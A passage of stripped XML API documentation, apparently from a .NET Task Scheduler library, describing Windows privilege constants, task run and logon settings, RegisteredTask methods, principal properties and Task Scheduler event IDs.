scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access + control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the + RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, + FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL + specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any + valid user or group security identifier (SID) as the owner of a file. This privilege is required by the RegLoadKey function. The following access + rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, + FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: Modify firmware + environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It + is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read all objects and + properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and + LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not supported. Note that this + value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for + administrators, services, and the local system account. User Right: Create global objects. Windows XP/2000: This privilege is not supported. Note + that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of process SID in the + IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default discretionary access control list + (DACL) will be modified to allow only the task SID and local system full control and the account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify the type of state + change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by switching users on + the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop Connection program + from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the Remote Desktop Connection + program from a remote computer. + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, see Task Idle Conditions. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value is one minute. If this + value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no value is specified for + this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time allowed is 1 minute. If + this value is TimeSpan.Zero, then the delay will be set to the default of 1 hour. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, if the task failed to + complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than + the value of the property. If the deadline is not specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive mode. The exclusivity is + guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If exclusivity is not specified, the task is + started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials that are used to + register the task, and the properties that describe the task. + + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the current task. If + changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if there were no future + run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all versions will return + DateTime.MinValue if there are no future run times. While this is different from the native 2.0 library, it was deemed more appropriate to + have consistency between the two libraries and with other .NET libraries. + + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + + Gets a value indicating whether this task is read only. Only available if + is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the most recent registration + event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling + from the currently registered folder using the currently registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. Run()). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value specified in this + parameter is ignored.If the value is passed into the flags parameter and the sessionID value is less than or + equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service will try to start the task interactively as + the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service will try to start the task interactively as the + user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. RunEx(0, 0, "MyUserName")). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current task. + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to execute and read a task, + then the user can stop the task. A user can stop the task instances that are running under the same credentials as the user account. In all other + cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the Task Scheduler. + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by third-parties who wish to + extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data stream directly. + Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can have values under V2. An example of + this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access to the task using the + native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the author of the task, and + the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + if set to true throws an with details about unsupported properties in the Data property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + if set to true throw a with details about invalid properties. + true if current is valid; false if not. + + + Gets the lowest supported version. + The output list. + + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting this property to + something other than a null or empty string, will set the property to NULL and will set the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property to something other + than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security context for the + tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + The property is set and the is read-only. + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This + method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a description of the task, the + author of the task, the date the task is registered, and the security descriptor of the task. + + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in Windows 8, many of the + native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is specified for this + property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value of 1 second indicates + the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a trigger is specified by the + EndBoundary property of all trigger types. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote Applications Integrated + Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not be terminated if it + exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + Gets or sets an XML-formatted definition of the task settings. + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable property of + ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run only if the specified network + profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + + Contains all the tasks that are registered. + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. This has been removed so that it is consistent with V2. + + + + Releases all resources used by this class. + + + + + Gets the collection enumerator for the register task collection. + + An for this collection. + + + + Internal constructor + + TaskService instance + The filter. + + + + Retrieves the current task. See for more information. + + + + + Releases all resources used by this class. + + + + + Moves to the next task. See MoveNext for more information. + + true if next task found, false if no more tasks. + + + + Reset task enumeration. See Reset for more information. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets or sets the regular expression filter for task names. + + The regular expression filter. + + + + Gets the specified registered task from the collection. + + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + + Gets the named registered task from the collection. + + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + + Determines whether the specified task exists. + + The name of the task. + true if task exists; otherwise, false. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Collection of running tasks. + + + + + Releases all resources used by this class. + + + + + Gets an IEnumerator instance for this collection. + + An enumerator. + + + + Releases all resources used by this class. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets the specified running task from the collection. + + The index of the running task to be retrieved. + A instance. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon 